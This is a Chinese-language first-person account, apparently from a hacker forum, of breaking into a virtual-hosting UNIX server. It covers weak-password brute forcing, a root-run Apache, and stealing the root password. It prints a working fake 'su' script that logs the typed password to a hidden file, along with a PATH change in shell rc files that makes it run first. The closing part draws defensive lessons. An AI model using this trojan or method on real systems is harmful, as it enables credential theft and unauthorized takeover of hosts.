事情发生在半年以前,那时候20CN还没有成立,因为某些原因,我想要干掉一个网站,(没错,确实就是这样,别把俺想得太高尚),首先当然是找个扫描器扫一下端口,发现这是一部很标准的UNIX主机,开着telnet,ftp,smtp,pop等,开着这么多的端口,似乎很好搞,当时这么想,谁知道仔细一看,各个服务程序的版本都没有什么中级以上漏洞,不仅没有远程的溢出,连本地的都似乎没有,只好试试看有没有CGI方面的漏洞,一扫下来,也是几乎没有什么可以利用的,就在他网站上四处看看,发现有个一会员注册的程序,为了得到目标的进一步资料,我就注册一下了,结果收到一份邮件,发现发件人为 ab1234@abc.com,但这个网站的域名确是def.com,奇怪,照这个看来,这个好像是虚拟主机,在IE上打入 IP202.96.100.10看看,结果出来的是XXX公司xxx虚拟主机什么什么#*#%@!%^&#*#@乱七八遭一广告,没错了,这是个虚拟主机。而他在这个主机上的用户名是ab1234,得到了用户名,首先进行ftp的简单穷举,没用,看来密码还是设得比较好,既然你的破不了,那么破了别人的和你的距离也就再接近了一点了,所以看看别人的如何,于是从用户 ab1200--ab1300一个一个来,很快,ab1210的密码出来了很简单的8888,我理所当然的用user:ab1210 pass:8888 telnet 了进去,但我要干掉的是ab1234的而不是ab1210的,所以就去ab1234的目录
%cd
%cd home
%ls
一堆用户目录
%cd ab1234
:Permission denied
没错,这正常,进不了其他用户的目录,但是没关系,既然进来了,干掉他的机会就有80%了,现在先到处看看再说,结果发现了这部主机运行了3个独立的apache,一个在80端口、一个在91端口、还有一个在92,80的不用说,但91、92这些又是干什么的呢?看看再说,在IE上输入http://202.96.100.10:91/ 出来要一个身份验证的对话框,好,那就输入刚刚的ab1210 ,8888,进去了原来这是个用户管理界面,可以在这里设置邮件,改密码什么的,既然用web可以做这些事,那这个apache似乎不可能是nobody身份运行了,找到他的httpd.conf一看,天~~~~~~,user root ,这就意味着,如果这个apache 的cgi-bin目录下的任何一个文件对其他人可写,我就可以是root,只不过不是控制台上的root而已,我必须修改那个可写的文件的内容,让他变成是我的命令,然后通过浏览器用apache来运行他。于是
%cd /var/www/manager/cgi-bin
%ls
:Permission denied
呀呀,进得来却不能读
%cd ..
%ls
:Permission denied
混蛋
$cd ..
%ls
%htdocs cgi-bin backup manager
嘿嘿,backup,备份,一般来说,管理员备份的时候一般都为了省事没有设定权限,看看能不能进
%cd backup
%
可以
%ls -la
drwxr-xr-x 7 root wheel 512 Jul 20 07:02 .
drwxr-xr-x 4 root wheel 512 Jul 3 01:49 ..
......
-rw-r--r-- 1 root wheel 25642628 Jul 3 01:49 manager_00_05_12.tar
虽然到目前为止,我事实上已经控制了他所有的UNIX主机,也早就有了root权限,但root的密码我还是不知道,这多少还有点不甘心,怎样来得到这个密码呢?穷举当然是一种,但我就算知道了root密码,也不想要干什么,何必费这么大的劲,所以我决定来一招偷天换日,虽然sysadm很少会从telnet登录,但他总要有登陆的时候的,而且一登陆肯定要干root才干的事,他必须使用su命令让自己成为root,使用su命令的时候当然需要输入root的密码,我就可从这点入手,做一个假的su来欺骗,让他先运行的是我写的su,把他输入的密码保存到一个文件上,即使他的密码是对的,也给他出错提示,然后删除我的这个su,他再次运行的就是真正的su了。所以我用sysadm登录并写了如下脚本放在他的用户目录下,文件名为su
%vi su
#!/bin/sh
echo -n "Password:"
stty -echo;read PASSWD;stty echo
echo "$PASSWD">>/tmp/.password
echo;
echo "Sorry"
rm -fr ~/su
:wq
%chmod 755 su
为了让他先运行的是我的su而不是系统的su,还需要改变shell的rc文件,所以打开.cshrc 在
set path = (/sbin /bin /usr/sbin /usr/bin /usr/local/sbin /usr/local/bin $HOME/bin)前面增加一个~,
即让系统在查找命令时首先查找的是自己的目录,就是放有我写的su的目录,变成这个样子
set path = (~ /sbin /bin /usr/sbin /usr/bin /usr/local/sbin /usr/local/bin $HOME/bin)
因为不知道他会使用那个shell,所以每一个rc文件都做了同样的处理......
最后的结果当然是顺利的取得了root的密码,虽然这个方法看起来很简陋,容易看穿,但事实上却是非常的隐蔽,在一个UNIX系统上,输入密码是连个*都没有给你回显的,管理员去su的时候,一般都是有事,需要很快做好,输错一次密码应该还没感觉过来,就算之后感觉出来了但我这个su又是运行一次就删掉了,不像什么木马后门之类,做完事还大摸大样的留在那里,而rc文件,一般设置完成之后都很少有去看的,大不了我得到密码之后改回来就是了,基本上并没有留下什么痕迹。
实际上,这个入侵的实例,由头到尾都是极为普通的,没有什么高技术的成分,也没有现在人家都喜欢用的什么什么漏洞,什么什么溢出,只是由一个普通用户的弱口令开始,慢慢的发展到了整个主机群被控于一个入侵者的手中,事实上,操作系统和各种相关服务的本身并没有什么漏洞,问题主要还是发生在CGI程序的编写,维护中的疏忽,管理员对安全问题不敏感这些上。在系统本身的漏洞少这点上,应该可以看出,主机一开始是由一些资深的工程师配置,之后也会根据以发现的漏洞做修补,但在以后的管理过程中,是由下一层技术人员负责,这一层的人往往技术面不广,人家叫干什么就干什么,不会有很大的责任压力,这样就把安全问题越捅越大。如果没有那个备份文件,我根本不能了解那个以root运行的apache的cgi-bin的目录结构和具体的文件名,因为其他人并没有r权限。第二个就是suid为root的程序的写法不够严格(以root运行的apache执行CGI时和suid root是差不多一样的),在一个虚拟主机上,为了让用户可以通过web界面来管理,不得不让apache以root的身份运行,因为用户的设置,需要改变很多系统的配置文件,如passwd httpd.conf sendmail.cf 等等,虽然apache的suexe提供了比squid更多安全选项如docroot等,但在这里根本就派不上用场。所以这个CGI应该是每一行代码都要知道自己是以root运行的,丝毫不得有差错,但遗憾的是,我见到的大多数服务商的这种CGI都忘记了自己是谁,其写法和普通的CGI类似,创建的文件大多是设置为666,777,而程序本身的属性为755,事实上,当apache加入suexec这个功能后,CGI程序本身设置为700,其他文件为400就可以了,可以做到除了自己,任何人不可以读。如果没有这个属性的问题,在上面的实例中,我也不可能在cgi-bin下面创建文件,让apache去运行,也就无法改变主业,复制文件,修改程序。正是这一步,把整个系统推向了被毁灭的边缘。第三个问题就老生常谈了,人本身的安全意识问题,在几个服务商的主机上都发现了,同一个服务商,它的结构一样的不同的主机,某些目录的权限也不一样,这个很明显是在日常的维护中改变的。在维护过程中,对一些微妙的东西不注意,往往也是危险发生的原因,比如那个su,就这样让我把root密码给偷了去。而上面提及的问题,到头来也是体现在这个问题上,安全似乎没有大小之分,一个大的远程溢出可以让入侵者得到root,但只是一些小小疏忽也可以让入侵者得到root,但大家往往都把注意力集中在一些系统漏洞的修补上,却忽视了某些"小问题"。
在目前的技术水平上实现的虚拟主机,这些问题的出现应该说是在所难免的,因为这涉及到了服务商的整个员工队伍的素质问题,在没有更好的虚拟主机的实现方法之前,如果从技术方面考虑,我觉得应该在权限方面多下功夫,比如用程序隔一定时间(如一小时)检查各个重要的目录、文件是否有被修改,用编译的程序来代替脚本类型的程序等等,说下去又一长篇大论,本人知识水平有限,为了避免在各位高人面前班门弄斧,就此打住。